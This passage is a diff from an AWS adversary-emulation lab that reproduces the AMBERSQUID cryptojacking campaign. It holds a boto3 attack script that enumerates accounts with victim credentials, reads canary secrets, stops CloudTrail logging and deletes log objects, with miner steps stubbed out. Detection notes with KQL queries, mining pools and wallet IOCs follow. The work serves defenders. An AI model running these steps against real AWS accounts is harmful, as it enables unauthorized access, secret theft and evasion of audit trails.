desc.get("NotebookInstanceStatus", "Unknown") + if nb_status != "Pending": + break + if nb_status == "InService": + sm.stop_notebook_instance(NotebookInstanceName="miner-notebook") + print_ok("SageMaker StopNotebookInstance -> miner-notebook") + except ClientError as e: + print_err(f"SageMaker describe/stop: {e}") + + +# --------------------------------------------------------------------------- +# Phase 6 -- Persistence: Internal Code Implant (Step 8) +# --------------------------------------------------------------------------- + +def phase_code_implant(codecommit_session, ct_repo_name): + print("\n" + "="*60) + print("PHASE 6: Persistence -- Internal Code Implant") + print("="*60) + print_step("Step 8 [T1525]: CodeCommit access verification -- simulated push") + + if not codecommit_session: + print_err("No codecommit_session available -- skipping") + return + + cc = codecommit_session.client("codecommit", region_name="us-east-1") + op_delay(2, 5) + + try: + resp = cc.get_repository(repositoryName=ct_repo_name) + meta = resp["repositoryMetadata"] + print_ok( + f"GetRepository -> {ct_repo_name} " + f"cloneUrl: {meta.get('cloneUrlHttp', 'n/a')}" + ) + except ClientError as e: + print_err(f"GetRepository {ct_repo_name}: {e}") + + print_sim( + "T1525", + "Would git push entrypoint.sh, amplify-role.sh, repo.sh, code.sh, " + "jalan.sh, sup0.sh, ecs.sh, ulang.sh, note.sh, salah.sh, delete.sh, " + "stoptrigger.sh, scale.sh, restart.sh, amplify.yml, index.py, " + "amplify-role.json, sugo.json, ecsTaskExecutionRole.json to CodeCommit " + "repos across up to 16 regions. Skipping to avoid malicious content staging.", + ) + + +# --------------------------------------------------------------------------- +# Phase 7 -- Discovery: Cloud Infrastructure Enumeration (Step 9) +# --------------------------------------------------------------------------- + +def phase_discovery(victim_session, account_id, honey_user_name, canary_secret_name): + print("\n" + "="*60) + print("PHASE 7: Discovery -- Cloud Infrastructure Enumeration") + print("="*60) + print_step("Step 9 [T1580]: Broad AWS infrastructure discovery using victim creds") + + ec2 = victim_session.client("ec2", region_name="us-east-1") + sts = victim_session.client("sts") + iam = victim_session.client("iam") + s3 = victim_session.client("s3") + sm = victim_session.client("secretsmanager", region_name="us-east-1") + + op_delay(2, 5) + try: + regions = ec2.describe_regions(AllRegions=False) + region_names = [r["RegionName"] for r in regions.get("Regions", [])] + print_ok(f"DescribeRegions -> {len(region_names)} enabled regions") + except ClientError as e: + print_err(f"DescribeRegions: {e}") + + op_delay(2, 5) + try: + identity = sts.get_caller_identity() + print_ok(f"GetCallerIdentity -> {identity.get('Arn')}") + except ClientError as e: + print_err(f"GetCallerIdentity: {e}") + + op_delay(2, 5) + try: + summary = iam.get_account_summary() + mfa_devices = summary["SummaryMap"].get("MFADevices", 0) + users_count = summary["SummaryMap"].get("Users", 0) + print_ok(f"GetAccountSummary -> Users={users_count}, MFADevices={mfa_devices}") + except ClientError as e: + print_err(f"GetAccountSummary: {e}") + + op_delay(2, 5) + try: + roles_resp = iam.list_roles() + role_names = [r["RoleName"] for r in roles_resp.get("Roles", [])] + print_ok(f"ListRoles -> {len(role_names)} roles (first 5: {role_names[:5]})") + except ClientError as e: + print_err(f"ListRoles: {e}") + + op_delay(2, 5) + try: + users_resp = iam.list_users() + user_names = [u["UserName"] for u in users_resp.get("Users", [])] + print_ok(f"ListUsers -> {user_names}") + if honey_user_name in user_names: + print_ok(f" [IOC] Honey IAM user {honey_user_name} discovered") + except ClientError as e: + print_err(f"ListUsers: {e}") + + op_delay(2, 5) + terraform_bucket = None + try: + buckets_resp = s3.list_buckets() + bucket_names = [b["Name"] for b in buckets_resp.get("Buckets", [])] + print_ok(f"ListBuckets -> {len(bucket_names)} buckets") + for bn in bucket_names: + if "terraform-state" in bn: + terraform_bucket = bn + print_ok(f" [IOC] Terraform state honeypot bucket discovered: {bn}") + except ClientError as e: + print_err(f"ListBuckets: {e}") + + if terraform_bucket: + op_delay(2, 5) + try: + obj = s3.get_object(Bucket=terraform_bucket, Key="terraform.tfstate") + content_preview = obj["Body"].read(256).decode("utf-8", errors="replace") + print_ok( + f"GetObject s3://{terraform_bucket}/terraform.tfstate -- " + f"canary triggered. Preview: {content_preview[:80]}..." + ) + except ClientError as e: + print_err(f"GetObject terraform.tfstate: {e}") + + op_delay(2, 5) + try: + secrets_resp = sm.list_secrets() + secret_names = [ + s.get("Name", s.get("ARN", "")) for s in secrets_resp.get("SecretList", []) + ] + print_ok(f"ListSecrets -> {secret_names}") + except ClientError as e: + print_err(f"ListSecrets: {e}") + + op_delay(2, 5) + try: + secret_val = sm.get_secret_value(SecretId=canary_secret_name) + secret_str = secret_val.get("SecretString", "") + print_ok( + f"GetSecretValue {canary_secret_name} -- " + f"canary surfaced. Value (truncated): {secret_str[:80]}..." + ) + except ClientError as e: + print_err(f"GetSecretValue {canary_secret_name}: {e}") + + +# --------------------------------------------------------------------------- +# Phase 8 -- Defense Evasion: Container Deployment (Step 10) +# --------------------------------------------------------------------------- + +def phase_container_deployment(ecs_exec_session, account_id): + print("\n" + "="*60) + print("PHASE 8: Defense Evasion -- Container Deployment") + print("="*60) + print_step("Step 10 [T1610]: Register Fargate task definition -- simulated CreateService") + + if not ecs_exec_session: + print_err("No ecs_exec_session available -- skipping") + return + + ecs = ecs_exec_session.client("ecs", region_name="us-east-1") + op_delay(3, 8) + + try: + ecs.register_task_definition( + family="miner-fargate-task", + networkMode="awsvpc", + requiresCompatibilities=["FARGATE"], + cpu="1024", + memory="2048", + executionRoleArn=f"arn:aws:iam::{account_id}:role/ecsTaskExecutionRole", + containerDefinitions=[ + { + "name": "srbminer", + "image": "ubuntu:22.04", + "command": [ + "sh", "-c", + "echo SIMULATED_MINER_FARGATE && sleep 30 && exit 0", + ], + "environment": [ + {"name": "POOL", "value": "SIMULATED"}, + {"name": "WALLET", "value": "SIMULATED"}, + {"name": "ALGO", "value": "SIMULATED"}, + ], + } + ], + ) + print_ok("ECS RegisterTaskDefinition -> miner-fargate-task") + except ClientError as e: + print_err(f"ECS RegisterTaskDefinition miner-fargate-task: {e}") + + print_sim( + "T1610", + "Would call ecs:CreateService with desiredCount=30, launchType=FARGATE " + "for miner-fargate-task across 16 regions. " + "Skipping to avoid massive Fargate charges.", + ) + + +# --------------------------------------------------------------------------- +# Phase 9 -- Defense Evasion: Compute Scaling (Step 11) +# --------------------------------------------------------------------------- + +def phase_compute_scaling(victim_session): + print("\n" + "="*60) + print("PHASE 9: Defense Evasion -- Compute Scaling") + print("="*60) + print_step( + "Step 11 [T1578.002]: Describe/validate dry-run for ASG + CloudFormation + SageMaker" + ) + + ec2 = victim_session.client("ec2", region_name="us-east-1") + cfn = victim_session.client("cloudformation", region_name="us-east-1") + asg = victim_session.client("autoscaling", region_name="us-east-1") + + op_delay(2, 5) + try: + lt_resp = ec2.describe_launch_templates() + lts = [lt["LaunchTemplateName"] for lt in lt_resp.get("LaunchTemplates", [])] + print_ok(f"DescribeLaunchTemplates -> {lts if lts else '(none found)'}") + except ClientError as e: + print_err(f"DescribeLaunchTemplates: {e}") + + op_delay(2, 5) + try: + offerings = ec2.describe_instance_type_offerings( + LocationType="availability-zone", + Filters=[{"Name": "instance-type", "Values": ["c5.large", "c5.xlarge"]}], + ) + offer_count = len(offerings.get("InstanceTypeOfferings", [])) + print_ok(f"DescribeInstanceTypeOfferings c5.large/c5.xlarge -> {offer_count} AZ offerings") + except ClientError as e: + print_err(f"DescribeInstanceTypeOfferings: {e}") + + op_delay(2, 5) + try: + cfn.validate_template( + TemplateBody=json.dumps({ + "AWSTemplateFormatVersion": "2010-09-09", + "Description": ( + "SIMULATED: ImageBuilder miner pipeline template - dry-run validation only" + ), + "Resources": { + "Placeholder": {"Type": "AWS::CloudFormation::WaitConditionHandle"} + }, + }) + ) + print_ok("CloudFormation ValidateTemplate -> OK (dry-run)") + except ClientError as e: + print_err(f"CloudFormation ValidateTemplate: {e}") + + op_delay(2, 5) + try: + asg_resp = asg.describe_auto_scaling_groups() + asg_names = [g["AutoScalingGroupName"] for g in asg_resp.get("AutoScalingGroups", [])] + print_ok(f"DescribeAutoScalingGroups -> {asg_names if asg_names else '(none found)'}") + except ClientError as e: + print_err(f"DescribeAutoScalingGroups: {e}") + + print_sim( + "T1578.002", + "Would create ASG 'task' (on-demand, 8 instances) and 'task1' (spot, 8 instances) " + "across 4 regions. Would create CloudFormation stacks with ImageBuilder pipelines " + "(cron every minute). Would launch 8x ml.t3.2xlarge SageMaker notebooks across 4 regions. " + "Dry-run describe/validate calls only.", + ) + + +# --------------------------------------------------------------------------- +# Phase 10 -- Defense Evasion: Indicator Removal (Step 12) +# --------------------------------------------------------------------------- + +def phase_indicator_removal( + victim_session, codecommit_session, account_id, trail_name, log_bucket_name +): + """CloudTrail StopLogging + S3 log deletion. trail_name comes from Pulumi outputs.""" + print("\n" + "="*60) + print("PHASE 10: Defense Evasion -- Indicator Removal") + print("="*60) + print_step("Step 12 [T1070]: CloudTrail StopLogging + S3 log deletion") + + ct_client = victim_session.client("cloudtrail", region_name="us-east-1") + s3_client = victim_session.client("s3", region_name="us-east-1") + + op_delay(2, 5) + try: + trails = ct_client.describe_trails() + found = [t["Name"] for t in trails.get("trailList", [])] + print_ok(f"DescribeTrails -> {found}") + except ClientError as e: + print_err(f"DescribeTrails: {e}") + + op_delay(2, 5) + try: + status = ct_client.get_trail_status(Name=trail_name) + logging_on = status.get("IsLogging", False) + print_ok(f"GetTrailStatus {trail_name} -> IsLogging={logging_on}") + except ClientError as e: + print_err(f"GetTrailStatus: {e}") + + op_delay(2, 5) + try: + ct_client.stop_logging(Name=trail_name) + print_ok( + f"[IOC] StopLogging {trail_name} -- " + "CloudTrail logging disabled. GuardDuty: Stealth:IAMUser/CloudTrailLoggingDisabled" + ) + except ClientError as e: + print_err(f"StopLogging: {e}") + + op_delay(2, 5) + log_keys = [] + if log_bucket_name: + try: + prefix = f"AWSLogs/{account_id}/CloudTrail/us-east-1/" + list_resp = s3_client.list_objects_v2( + Bucket=log_bucket_name, Prefix=prefix, MaxKeys=5 + ) + log_keys = [obj["Key"] for obj in list_resp.get("Contents", [])] + print_ok(f"ListObjectsV2 {log_bucket_name}/{prefix} -> {len(log_keys)} objects") + except ClientError as e: + print_err(f"ListObjectsV2 CloudTrail logs: {e}") + else: + print_err("log_bucket_name not resolved from outputs -- skipping S3 log deletion") + + if log_keys: + target_key = sorted(log_keys)[-1] + op_delay(2, 5) + try: + s3_client.delete_object(Bucket=log_bucket_name, Key=target_key) + print_ok( + f"[IOC] DeleteObject s3://{log_bucket_name}/{target_key} -- " + "log evidence removed (S3 versioning enabled, recoverable)" + ) + except ClientError as e: + print_err(f"DeleteObject: {e}") + else: + print_ok("No CloudTrail log objects found to delete (may be early in run)") + + if codecommit_session: + cc = codecommit_session.client("codecommit", region_name="us-east-1") + op_delay(2, 5) + try: + repos = cc.list_repositories() + repo_names = [r["repositoryName"] for r in repos.get("repositories", [])] + print_ok( + f"ListRepositories (AWSCodeCommit-Role session) -> {repo_names} -- " + "enumerates repos as precursor to evidence deletion" + ) + except ClientError as e: + print_err(f"ListRepositories: {e}") + + +# --------------------------------------------------------------------------- +# Phase 11 -- Impact: Resource Hijacking / Mock Miner (Step 13) +# --------------------------------------------------------------------------- + +def phase_resource_hijacking(victim_session, task_arn, cluster_name): + print("\n" + "="*60) + print("PHASE 11: Impact -- Resource Hijacking (Mock Miner)") + print("="*60) + print_step("Step 13 [T1496]: Verify ECS miner container still running") + + op_delay(5, 10) + + if task_arn: + ecs = victim_session.client("ecs", region_name="us-east-1") + try: + desc = ecs.describe_tasks(cluster=cluster_name, tasks=[task_arn]) + status = desc["tasks"][0].get("lastStatus", "UNKNOWN") if desc["tasks"] else "GONE" + print_ok(f"ECS describe_tasks -> task status: {status}") + except ClientError as e: + print_err(f"DescribeTasks: {e}") + else: + print_ok("No task ARN from Step 3 -- skipping describe_tasks") + + print_sim( + "T1496", + "SRBMiner-MULTI would connect to 2miners/c3pool/nanopool on ports 3333/4444/5555. " + "Mining pool ports blocked by ambersquid-task-sg. Mock miner exits immediately.", + ) + + +# --------------------------------------------------------------------------- +# Post-attack cleanup +# --------------------------------------------------------------------------- + +def post_attack_cleanup( + victim_session, + codecommit_session, + sugo_session, + task_arn, + trail_name, + cluster_name, + ct_repo_name, +): + """Re-enable CloudTrail FIRST, then clean up all attacker-created resources.""" + print("\n" + "="*60) + print("POST-ATTACK CLEANUP") + print("="*60) + + ct_client = victim_session.client("cloudtrail", region_name="us-east-1") + ecs_v = victim_session.client("ecs", region_name="us-east-1") + iam = victim_session.client("iam", region_name="us-east-1") + + print_step(f"Cleanup 1: Re-enable CloudTrail {trail_name}") + try: + ct_client.start_logging(Name=trail_name) + print_ok(f"StartLogging {trail_name} -- logging re-enabled") + except ClientError as e: + print_err(f"StartLogging: {e}") + + if task_arn: + print_step("Cleanup 2: Stop ECS task from Step 3") + try: + ecs_v.stop_task( + cluster=cluster_name, + task=task_arn, + reason="Emulation cleanup", + ) + print_ok(f"StopTask {task_arn}") + except ClientError as e: + print_err(f"StopTask: {e}") + + print_step("Cleanup 3: Stop and delete SageMaker notebook miner-notebook") + sm_session = sugo_session or victim_session + sm = sm_session.client("sagemaker", region_name="us-east-1") + try: + desc = sm.describe_notebook_instance(NotebookInstanceName="miner-notebook") + nb_status = desc.get("NotebookInstanceStatus", "Unknown") + print_ok(f"SageMaker notebook current status: {nb_status}") + if nb_status == "InService": + sm.stop_notebook_instance(NotebookInstanceName="miner-notebook") + print_ok("StopNotebookInstance miner-notebook") + for _ in range(18): + time.sleep(10) + desc = sm.describe_notebook_instance(NotebookInstanceName="miner-notebook") + nb_status = desc.get("NotebookInstanceStatus", "Unknown") + if nb_status == "Stopped": + break + print(f" ... notebook status: {nb_status}") + if nb_status == "Stopped": + sm.delete_notebook_instance(NotebookInstanceName="miner-notebook") + print_ok("DeleteNotebookInstance miner-notebook") + else: + print_err(f"Notebook not Stopped (status={nb_status}) -- manual delete required") + except ClientError as e: + code = e.response["Error"]["Code"] + if code == "ValidationException" and "does not exist" in str(e): + print_ok("SageMaker notebook miner-notebook does not exist -- skipping") + else: + print_err(f"SageMaker cleanup: {e}") + + print_step("Cleanup 4: Delete Amplify app miner-app") + cc_session = codecommit_session or victim_session + amplify = cc_session.client("amplify", region_name="us-east-1") + try: + apps = amplify.list_apps() + app_id = None + for app in apps.get("apps", []): + if app.get("name") == "miner-app": + app_id = app["appId"] + break + if app_id: + amplify.delete_app(appId=app_id) + print_ok(f"Amplify DeleteApp miner-app (appId={app_id})") + else: + print_ok("Amplify app miner-app not found -- already deleted or never created") + except ClientError as e: + print_err(f"Amplify DeleteApp: {e}") + + print_step("Cleanup 5: Delete CodeBuild project miner-build-small") + cb = cc_session.client("codebuild", region_name="us-east-1") + try: + cb.delete_project(name="miner-build-small") + print_ok("CodeBuild DeleteProject -> miner-build-small") + except ClientError as e: + code = e.response["Error"]["Code"] + if code == "ResourceNotFoundException": + print_ok("CodeBuild project miner-build-small not found -- skipping") + else: + print_err(f"CodeBuild DeleteProject: {e}") + + print_step("Cleanup 6: Deregister ECS task definitions miner-task + miner-fargate-task") + for td_family in ["miner-task", "miner-fargate-task"]: + try: + paginator = ecs_v.get_paginator("list_task_definitions") + for page in paginator.paginate(familyPrefix=td_family, status="ACTIVE"): + for td_arn in page.get("taskDefinitionArns", []): + try: + ecs_v.deregister_task_definition(taskDefinition=td_arn) + print_ok(f"DeregisterTaskDefinition {td_arn}") + except ClientError as inner_e: + print_err(f" DeregisterTaskDefinition {td_arn}: {inner_e}") + except ClientError as e: + print_err(f"ListTaskDefinitions {td_family}: {e}") + + print_step("Cleanup 7: Delete ECS cluster miner-cluster") + try: + ecs_v.delete_cluster(cluster="miner-cluster") + print_ok("ECS DeleteCluster -> miner-cluster") + except ClientError as e: + code = e.response["Error"]["Code"] + if code == "ClusterNotFoundException": + print_ok("ECS cluster miner-cluster not found -- skipping") + else: + print_err(f"ECS DeleteCluster: {e}") + + print_step("Cleanup 8: Detach policies and delete attacker IAM roles") + for role_name in ["AWSCodeCommit-Role", "sugo-role", "ecsTaskExecutionRole"]: + try: + attached = iam.list_attached_role_policies(RoleName=role_name) + for policy in attached.get("AttachedPolicies", []): + iam.detach_role_policy( + RoleName=role_name, PolicyArn=policy["PolicyArn"] + ) + print_ok(f" DetachRolePolicy {role_name} <- {policy['PolicyName']}") + except ClientError as e: + code = e.response["Error"]["Code"] + if code == "NoSuchEntityException": + print_ok(f" Role {role_name} not found -- skipping detach") + continue + else: + print_err(f" ListAttachedRolePolicies {role_name}: {e}") + continue + try: + iam.delete_role(RoleName=role_name) + print_ok(f"DeleteRole -> {role_name}") + except ClientError as e: + print_err(f"DeleteRole {role_name}: {e}") + + print_step(f"Cleanup 9: Delete CodeCommit repo '{ct_repo_name}' in us-west-2") + try: + cc_west_cl = (codecommit_session or victim_session).client( + "codecommit", region_name="us-west-2" + ) + cc_west_cl.delete_repository(repositoryName=ct_repo_name) + print_ok(f"CodeCommit DeleteRepository -> {ct_repo_name} (us-west-2)") + except ClientError as e: + code = e.response["Error"]["Code"] + if code == "RepositoryDoesNotExistException": + print_ok(f"CodeCommit repo '{ct_repo_name}' not found in us-west-2 -- skipping") + else: + print_err(f"CodeCommit DeleteRepository us-west-2: {e}") + + +# --------------------------------------------------------------------------- +# Backend entry point +# --------------------------------------------------------------------------- + +def run(outputs: dict, region: str = "us-east-1") -> None: + """MayaTrail backend entry point. `outputs` is the Pulumi stack output dict.""" + print("\n" + "#"*60) + print("# AMBERSQUID Adversary Emulation -- attack.py") + print("# 13-step / 11-phase kill chain") + print("#"*60) + + victim_key_id = outputs.get("victim_access_key_id") or os.environ.get("AWS_VICTIM_ACCESS_KEY_ID") + victim_secret = outputs.get("victim_secret_access_key") or os.environ.get("AWS_VICTIM_SECRET_ACCESS_KEY") + + if not victim_key_id or not victim_secret: + print_err( + "Victim credentials not found. " + "Ensure Pulumi stack exports 'victim_access_key_id' and 'victim_secret_access_key'." + ) + raise SystemExit(1) + + cluster_name = outputs.get("cluster_name") or outputs.get("ecs_cluster_name", "ambersquid-cluster") + trail_name = outputs.get("trail_name") or outputs.get("cloudtrail_trail_name", "ambersquid-trail") + task_family = outputs.get("task_family", "ambersquid-miner") + log_bucket_name = outputs.get("cloudtrail_bucket_name", "") + ct_repo_name = outputs.get("codecommit_repo_name", "test") + honey_user_name = outputs.get("honey_user_name", "prod-deploy-svc") + canary_secret_name = outputs.get("canary_secret_name", "prod/database/master_credentials") + subnet_id_val = outputs.get("subnet_id", "") or os.environ.get("ECS_SUBNET_ID", "") + task_sg_id_val = outputs.get("task_sg_id", "") or os.environ.get("ECS_SECURITY_GROUP_ID", "") + + victim_session = make_session(victim_key_id, victim_secret, region=region) + + task_arn = None + account_id = "" + codecommit_session = None + sugo_session = None + ecs_exec_session = None + + try: + phase_resource_development() + phase_delay() + + task_arn = phase_initial_execution( + cluster_name, task_family, subnet_id_val, task_sg_id_val, region=region + ) + phase_delay() + + account_id = phase_credential_validation(victim_session) + if not account_id: + print_err("Could not resolve account_id -- some phases may fail") + account_id = "" + phase_delay() + + codecommit_session, sugo_session, ecs_exec_session = phase_persistence_iam( + victim_session, account_id + ) + phase_delay() + + phase_miner_deployment( + codecommit_session, sugo_session, ecs_exec_session, account_id, ct_repo_name + ) + phase_delay() + + phase_code_implant(codecommit_session, ct_repo_name) + phase_delay() + + phase_discovery(victim_session, account_id, honey_user_name, canary_secret_name) + phase_delay() + + phase_container_deployment(ecs_exec_session, account_id) + phase_delay() + + phase_compute_scaling(victim_session) + phase_delay() + + phase_indicator_removal( + victim_session, codecommit_session, account_id, trail_name, log_bucket_name + ) + phase_delay() + + phase_resource_hijacking(victim_session, task_arn, cluster_name) + + finally: + post_attack_cleanup( + victim_session, + codecommit_session, + sugo_session, + task_arn, + trail_name, + cluster_name, + ct_repo_name, + ) + + print("\n[+] AMBERSQUID emulation complete.") + + +if __name__ == "__main__": + import json + _outputs = json.loads(sys.argv[1]) if len(sys.argv) > 1 else {} + _region = sys.argv[2] if len(sys.argv) > 2 else "us-east-1" + run(_outputs, _region) diff --git a/emulations/ambersquid/detections/detection_note_t1204.003.md b/emulations/ambersquid/detections/detection_note_t1204.003.md new file mode 100644 index 0000000..bda122f --- /dev/null +++ b/emulations/ambersquid/detections/detection_note_t1204.003.md @@ -0,0 +1,79 @@ +# Detection Note: T1204.003 - User Execution: Malicious Image +# AMBERSQUID: ECS Fargate task runs attacker-staged Docker image with injected IAM credentials + +## Execution Plane +Data plane — ECS container execution generates NO CloudTrail management events. +The malicious container runtime is invisible to CloudTrail. Credential harvest from +injected environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY) is +entirely a container-internal operation. + +## First CloudTrail-Visible Event +The container's FIRST external action is T1078.004 GetCallerIdentity (STS). +This is the earliest point in the kill chain where defenders have a CloudTrail signal. +See: sigma_t1078.004.yml / kql_t1078.004.kql + +## Detection Alternatives (in priority order) + +### 1. ECS Task Launch (Management Plane — CloudTrail) +The RunTask or CreateService call that starts the malicious container IS in CloudTrail. +Detect: ECS RunTask with ubuntu:22.04 (or unknown public image) + launchType FARGATE +from a non-console session. See sigma_t1608.001.yml for RegisterTaskDefinition. + +``` +AWSCloudTrail +| where EventSource == "ecs.amazonaws.com" +| where EventName == "RunTask" +| where RequestParameters contains "ubuntu" or RequestParameters contains "docker.io" +| where UserAgent !contains "console.aws.amazon.com" +``` + +### 2. Container Environment Variable Audit (ECS Task Definition Inspection) +ECS task definitions that inject AWS credentials as plaintext environment variables +are detectable at definition creation time (RegisterTaskDefinition CloudTrail event). + +``` +AWSCloudTrail +| where EventSource == "ecs.amazonaws.com" +| where EventName == "RegisterTaskDefinition" +| where RequestParameters has_any ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY") +``` + +AMBERSQUID IOC: ambersquid-task-definition contains AWS credentials as plaintext +container environment variables. This is a security misconfiguration indicator +regardless of attacker presence — should be detected and alerted unconditionally. + +### 3. Amazon Inspector - Container Image Vulnerability / Malware Scanning +Amazon Inspector (ECR integration) scans images pushed to ECR for: + - UPX-packed ELF binaries (SRBMiner-MULTI is UPX-packed) + - Known malware signatures (SRBMiner, XMRig, NBMiner) + - CVE findings in image layers +AMBERSQUID uses public Docker Hub images, not ECR — Inspector does not scan these +at pull time unless ECR pull-through cache is configured with inspection enabled. + +### 4. GuardDuty - ECS Runtime Monitoring (if enabled) +GuardDuty ECS runtime monitoring (requires GuardDuty agent sidecar or ECS integration): + - Finding: Execution:Runtime/NewBinaryExecuted — detects SRBMiner binary execution + - Finding: CryptoCurrency:Runtime/BitcoinTool.B — detects mining pool connections + - Finding: UnauthorizedAccess:Runtime/TorRelay — if miner uses Tor exit node pools +Note: GuardDuty ECS runtime monitoring requires explicit opt-in and agent deployment. + +### 5. VPC Flow Logs - Mining Pool Outbound Connections +Mining pool ports blocked by ambersquid-task-sg in this lab (3333, 4444, 5555, +7777, 8888, 9999, 14444, 45560). In production without this block: + - VPC Flow Logs REJECT entries on known mining pool ports from ECS task ENI + - DNS query logs for mining pool domains: 2miners.com, c3pool.com, nanopool.org + - Network firewall rules blocking these domains/IPs with alert on match + +### 6. ECS Container Insights - Process-Level Anomaly +ECS Container Insights with performance monitoring enabled can detect: + - CPU utilization spike to ~100% sustained (mining workload pattern) + - Network throughput to external IPs on non-standard ports + - Process name "SRBMiner-MULTI" or "srbminer" in container process list + +## AMBERSQUID-Specific IOCs for This Technique +- Container image: ubuntu:22.04 (stand-in), real image contains SRBMiner-MULTI (UPX-packed) +- ECS task family: ambersquid-task-definition +- Injected env vars: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY (plaintext — critical finding) +- Container command: sleep infinity (benign stand-in) / SRBMiner-MULTI (real attack) +- Mining pools: 2miners, c3pool, nanopool +- Mining wallets: ZEPHYR2vyrpcg2e2sJaA88EM6aGaLCBdiYfiHffrs5b3Fa4p1qpoEPH4UabmhJr5YYF7CxJykLTJmESQWaB9ARNuhb6jvptapVq3v (ZEPHYR), TFrQ7u9spKk8MBgX6Bze3oxPbs3Yh1tAsq (TRX) diff --git a/emulations/ambersquid/detections/detection_note_t1496.md b/emulations/ambersquid/detections/detection_note_t1496.md new file mode 100644 index 0000000..bb3c40c --- /dev/null +++ b/emulations/ambersquid/detections/detection_note_t1496.md @@ -0,0 +1,101 @@ +# Detection Note: T1496 - Resource Hijacking +# AMBERSQUID: SRBMiner-MULTI cryptomining targeting ZEPHYR, TRX, RVN, XMR + +## Execution Plane +Data plane — container-internal cryptocurrency mining generates NO CloudTrail events. +The miner process, pool connections, and hash submissions are invisible to CloudTrail. +SRBMiner-MULTI execution is entirely within the ECS container runtime. + +## Detection Alternatives (in priority order) + +### 1. GuardDuty - Cryptocurrency Mining Findings (HIGHEST PRIORITY) +GuardDuty provides purpose-built findings for cryptomining in AWS: + + - **CryptoCurrency:EC2/BitcoinTool.B** — DNS queries or network connections to known + cryptocurrency mining pool domains/IPs. Covers 2miners.com, c3pool.com, nanopool.org. + - **CryptoCurrency:EC2/BitcoinTool.B!DNS** — DNS-based detection variant. + - **CryptoCurrency:Runtime/BitcoinTool.B** — Runtime agent detection (ECS/EC2 with + GuardDuty runtime monitoring enabled). + - **UnauthorizedAccess:EC2/MaliciousIPCaller** — ECS task communicating with known + malicious IP in GuardDuty threat intel feed. + +GuardDuty threat intel is continuously updated with mining pool IPs and domains. +AMBERSQUID mining pools blocked in this lab — GuardDuty findings would not fire +without actual outbound connections, but would fire in real attack scenario. + +### 2. VPC Flow Logs - Outbound Mining Pool Connections +Mining pool TCP connections are detectable in VPC Flow Logs attached to the ECS task ENI. + +Known AMBERSQUID mining pool ports (all blocked by ambersquid-task-sg in lab): + - 3333 (default Stratum protocol) + - 4444 (nanopool XMR) + - 5555 (alternate Stratum) + - 7777 (c3pool) + - 8888 (alternate) + - 9999 (alternate) + - 14444 (2miners ZEPHYR) + - 45560 (alternate) + +Sentinel KQL for VPC Flow Log mining detection: +```kql +// Requires AzureNetworkAnalytics_CL or VPC Flow Logs ingested via S3 -> Sentinel +// Substitute with your actual VPC Flow Log table name +VPCFlowLogs +| where DestinationPort in (3333, 4444, 5555, 7777, 8888, 9999, 14444, 45560) +| where Action == "ACCEPT" +| where Direction == "egress" +| project TimeGenerated, SourceIP, DestinationIP, DestinationPort, Protocol, Bytes +| sort by TimeGenerated desc +``` + +### 3. DNS Query Logs - Mining Pool Domain Resolution +Route 53 Resolver query logging (if enabled) captures DNS queries from ECS tasks: + - 2miners.com subdomains (zeph.2miners.com, trx.2miners.com) + - c3pool.com subdomains + - nanopool.org subdomains + +```kql +// Route53ResolverQueryLogs ingested via S3 +Route53ResolverQueryLogs +| where QueryName has_any ("2miners.com", "c3pool.com", "nanopool.org", "moneroocean.stream") +| project TimeGenerated, QueryName, QueryType, ResolverIP, SrcAddr +| sort by TimeGenerated desc +``` + +### 4. CloudWatch Container Insights - CPU Anomaly +Cryptomining produces sustained near-100% CPU utilization. CloudWatch metrics for +ECS tasks (if Container Insights enabled) can detect this: + - Metric: ECS/ContainerInsights CpuUtilized + - Alarm: CpuUtilized > 90% for ECS task for > 5 minutes + - Combined with: NetworkRxBytes and NetworkTxBytes spike to external IPs + +### 5. AWS Cost Anomaly Detection +AMBERSQUID scale (30 Fargate tasks x 16 regions) produces immediate cost spikes. +AWS Cost Anomaly Detection (free service) alerts on unexpected spend increases. +Configure thresholds for: + - Amazon ECS Fargate spend + - Amazon SageMaker compute spend + - Amazon EC2 spend (if ASG instances launched) +Detection lag: ~24 hours for anomaly to surface in billing data. + +### 6. AWS Trusted Advisor / Security Hub + - Security Hub control: ECS.1 - ECS task definitions should not have elevated privileges + - Security Hub control: ECS.2 - ECS services should not have public IP addresses automatically assigned + - Trusted Advisor: EC2 instances with high utilization (billing anomaly signal) + +## AMBERSQUID-Specific IOCs for This Technique +- Miner binary: SRBMiner-MULTI (UPX-packed ELF) +- Mining algorithms: ZEPHYR, TRX (Tron), RVN (Ravencoin), XMR (Monero) +- Mining pools: 2miners.com, c3pool.com, nanopool.org +- Crypto wallets: + - ZEPHYR: ZEPHYR2vyrpcg2e2sJaA88EM6aGaLCBdiYfiHffrs5b3Fa4p1qpoEPH4UabmhJr5YYF7CxJykLTJmESQWaB9ARNuhb6jvptapVq3v + - TRX: TFrQ7u9spKk8MBgX6Bze3oxPbs3Yh1tAsq + - RVN: RNu4dQGeFDSPP5iHthijkfnzgxcW2nPde9 + - XMR (multiple): 89v8xC6Mu2tX27WZKhefTuSnN7f3JMHQSAuoD7ZRe1bV2wfExSTDZe4JwaM4qpjKAoWbAbbnqLBmGCFECiwnXdfSKHt85H3 + - XMR (alt): 8B7ommXjcEpTAHKFFyci1v5ADrqvEbphhHrzbBfJgvqjecbik7vcLonh8rYSstbBxgD8AccrJYEukDaXZB8ns3kTLiXL8BN + - XMR (alt): 837MGitRYxgEV158RDenxVUfb5mN6qzz78Z1WeaDoiqC4K7H8Pj556vHJoVXL2MCJ5WCGVZTBiRmqJFxeJG3WSQmGKhPC31 + - Monero Ring (hex): Q010500bc3733dbd0576ca26a8595d59b577a4d1e09c019856abfa103b8f08ec0ed36735e0e2f35 + - Monero Ring (hex): Q01050074da7be4fe8216f789041227c08ccbf310617362641336e1f282c398937635a5d3ebbdbf + - Monero Ring (hex): 007DE31E4FD8213FBCE3586A3D2260C962142BBC605BB41C41 +- ECS task: ambersquid-ecs-cluster, ambersquid-task-definition +- Container command in real attack: SRBMiner-MULTI --algorithm ZEPHYR --pool [pool] --wallet [wallet] diff --git a/emulations/ambersquid/detections/detection_note_t1583.001.md b/emulations/ambersquid/detections/detection_note_t1583.001.md new file mode 100644 index 0000000..2db215d --- /dev/null +++ b/emulations/ambersquid/detections/detection_note_t1583.001.md @@ -0,0 +1,73 @@ +# Detection Note: T1583.001 - Acquire Infrastructure: Domains +# 